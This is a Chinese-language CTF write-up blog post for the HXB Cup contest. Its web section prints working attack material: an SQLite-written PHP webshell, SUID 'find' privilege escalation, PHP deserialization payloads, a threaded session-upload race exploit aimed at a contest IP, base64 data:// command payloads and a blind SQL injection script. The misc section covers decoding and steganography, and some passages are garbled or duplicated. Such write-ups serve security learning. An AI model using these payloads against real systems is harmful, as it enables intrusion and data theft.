hxb海啸杯

  • Post author:
  • Post category:其他




web



welcome to 海啸杯

查看源代码,拿到flag。

HXBCTF{welcome _to_HXB}



极客邀请函


考点:SQLite get shell、SUID提权

查看网页源码,看到注释里的PHP代码

<?php
class MyDB extends SQLite3
{
function __construct()
{
$this->open('./test.db');
}
}
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n";
}

if($POST["cmd"]!=NULL)
{
if(strpos($POST["cmd"],'system')!==false){
echo 'HACK不准哦 达咩 达咩哦';
}else{
echo '执行成功';
$db->exec($POST["cmd"]);*
}
}
?>

SQLite还可以生成任意后缀名的数据库文件

创建一个 shell.php 的数据库文件,新建一个名为 exp 的表,并在表中插入: <?php @eval($POST[1]); ?> ,即一句话木马

ATTACH DATABASE 'shell.php' AS hxbctf; create TABLE hxbctf.exp (dataz text);
insert INTO hxbctf.exp (dataz) VALUES ('<?php eval($_POST["cmd"])?>');

用蚁剑连接:

在这里插入图片描述

发现flag在/tmp目录下,但没有权限查看,

使用suid提权


利用find找到有SUID权限

find / -user root -perm -4000 -exec ls -ldb {} \;

find文件所属者和所属组都为root用户,使用find命令可以执行其它的系统命令,因此可以使用find命

令运行whoami查看当前用户

find 1 -exec whoami \;

使用find获取flag

find 1 -exec cat /tmp/flag \;![在这里插入图片描述](https://img-blog.csdnimg.cn/a3da5e5799ce4a73b0dd3fc81a2758ad.png)

在这里插入图片描述

参考文章:

https://blog.csdn.net/weixin_39430198/article/details/123504153



infant_serialize

Atuhor:eeknight


考点:PHP反序列化原生类利用、wakeup绕过

题目描述:反了反了

 <?php
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);

class dalao{
    public $class;
    public $para;
    public $check;
    public $status="heike";
    public function __construct()
    {
        $this->class = "hunzi";
        $this->para = "luansha";
        echo new  $this->class ($this->para);
    }
   public function __wakeup() {
           $this->status="dalao";
    }

    public function __destruct()
    {
        if($this->status!="dalao"){
            $this->check = new jingcha;
            if($this->check->filter($this->para) && $this->check->filter($this->class)) {
                echo new  $this->class ($this->para);
            }
            else
                die('有黑客,抓起来!!!!');
        }
        else
            die("欢迎大佬!!!!!!!");
    }

}
class hunzi{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class jingcha{
    function filter($code){
        $pattern = '/[|\'*|=|"|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['dalao'])){
    unserialize(base64_decode($_GET['dalao']));
}
else{
    highlight_file(__FILE__);
}   

遍历得到flag名字 ,使用

原生类FilesystemIterator

<?php
class dalao{
public $class='FilesystemIterator';
public $para="/var/www/html";
public $check;
}
$zh = new dalao();
$zh= serialize($zh);
$zh = str_replace(':3:',':4:',$zh); 
echo base64_encode($zh);

在这里插入图片描述

得到

42177812215a92ea1ad9b7d61a1787e8.php

,即为flag所在的文件,

接着读取,使用原生类

SplFileObject

<?php
class dalao{
public $class='SplFileObject';
public $para="/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php";
public $check;
}
$zh = new dalao();
$zh= serialize($zh);
$zh = str_replace(':3:',':4:',$zh); 
echo base64_encode($zh);

在这里插入图片描述



小小web


考点:md5绕过、伪协议

 <?php
highlight_file(__FILE__);
function random(){
    $a = rand(188,34)*34;
    $b = rand(13,9);
    return $a+$b;
}
$r = random();
if((string)$_GET['a']==(string)md5($_GET['b'])){
    $a=$_GET['a'];
    $b=md5($_GET['b']);
    if($a.$r == $b){
        echo "yes"."\n";
        if(preg_match('/php|file|\/\/|sftp|http|https|gopher/is', $_GET['c'])){
            die("hack");
        }
        else{
            $c = file_get_contents($_GET['c']);
            eval($c);
        }
    }
} 
$r = random();if((string)$_GET['a']==(string)md5($_GET['b'])){  $a=$_GET['a'];  $b=md5($_GET['b']);  if($a.$r == $b){

有一个random方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让



a

.

a.






a


.





r ==



b

。因为是弱类型比较,且只能传入字符串,想要的是两个

0

e

开头的字符串进行比较,因为

b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为






b


。因为是弱类型比较,且只能传入字符串,想要的是两个


0


e


开头的字符串进行比较,因为





b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。

构造a,b如下

?a=0e123221&b=s1502113478a&c=/var/www/html/flag.PHP%0a
 $c = file_get_contents($_GET['c']);      eval($c);

刚开始以为直接将路径传给c,eval输出flag。。。

后来发现正则绕不过去,/is 匹配所有字符及换行符。

联想到题目 你就爆吧你。。应该是



第一种解法:


PHP_SESSION_UPLOAD_PROGRESS文件包含利用

的知识点了来绕过。文件竞争命令执行拿flag。

上传一个自定义的内容临时文件,传入eval,进行rec即可。

exp:

import io
import requests
import threading
import time 

def poc(session):
    global event<?=
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?><?php echo 44*44;eval($_GET[cmd]);echo 44*44;?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )
        while resp.status_code==429:
            time.sleep(0.3)
            resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?><?php echo 44*44;eval($_GET[cmd]);echo 44*44;?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )
        print(resp.text[resp.text.find('</code>yes'):])



if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=poc,args=(session,)).start()

运行得到flag。



第二种:


data协议data:text/plain file_get_contents拼接伪协议

虽然过滤了//,但是data:text/plain也可以用。

在这里插入图片描述

c3lzdGVtKCJscyIpOw==   //system("ls");base64编码查看目录
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJscyIpOw==;

在这里插入图片描述

发现

42177812215a92ea1ad9b7d61a1787e8.php

读取flag:

system("cat /var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");

注意 ;不要漏掉

base加密为:

c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=;

在这里插入图片描述



扫一扫

信息泄露,disrearch扫描发现有www.zip,直接打开失败,拖到010拿到flag。

HXBCTF{message_leak_is_dangerous!}



happy_sql

sql,盲注脚本编写。

import re
import requests
url="http://121.37.24.208:58125/"
flag=""
i=0
while True:
	small=32
	big=127
	i=i+1
	while small<big:
		mid=small+big>>1
		data = {
		'height':f"0 or (select case when ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)) > {mid} then 1 else 0 end)"}
	# 'height':f"0 or (select case when ord(mid((select flag from happy_sql),{i},1)) > {mid} then 1 else 0 end)"
		
		r=requests.post(url,data=data)
		if 'img/duochidian.jpg' in r.text:
			small=mid+1
		else:
			big =mid
	if(re.search("}",flag)):
		break
	else:
		print(chr(small))
		flag+=chr(small)
print(flag)



misc



套娃

码多次base,知道是base16、base32、base64,根据它们的字符集,写个脚本逐层解码

脚本破解即可:

import base64
with open("Base套娃.txt", "r") as f:
	r = f.read()
while True:
	try:
		r = base64.b16decode(r)
		print("base16")
	except:
		try:
			r = base64.b32decode(r)
			print("base32")
		except:
			try:
				r = base64.b64decode(r)
				print("base64")
			except:
				pass
	if b"hxbctf" in r:
		print(r)
		break

在这里插入图片描述



藏在云朵的二维码

Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。

在这里插入图片描述



新时代保安

Stegsolve 选择不同的通道查看,即可拿到flag:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7gtX6n0l-1666622264490)(D:\AAaaZH\学习\web学习\题目+比赛\比赛\比赛\2022-10-15海啸杯\海啸杯笔记\image-20221015171046265.png)]



我的银行卡密码是:xxxx

使用archpr.exe对压缩包密码进行爆破,得出是987654。

解压得到一张图片:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KR5viknJ-1666622264491)(D:\AAaaZH\学习\web学习\题目+比赛\比赛\比赛\2022-10-15海啸杯\海啸杯笔记\image-20221015171206920.png)]

也是放到Stegsolve ,选择不同的通道,lsb隐写 查找得到flag。



藏在云朵的二维码

Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。



新时代保安

Stegsolve 选择不同的通道查看,即可拿到flag:



版权声明:本文为m0_62107966原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。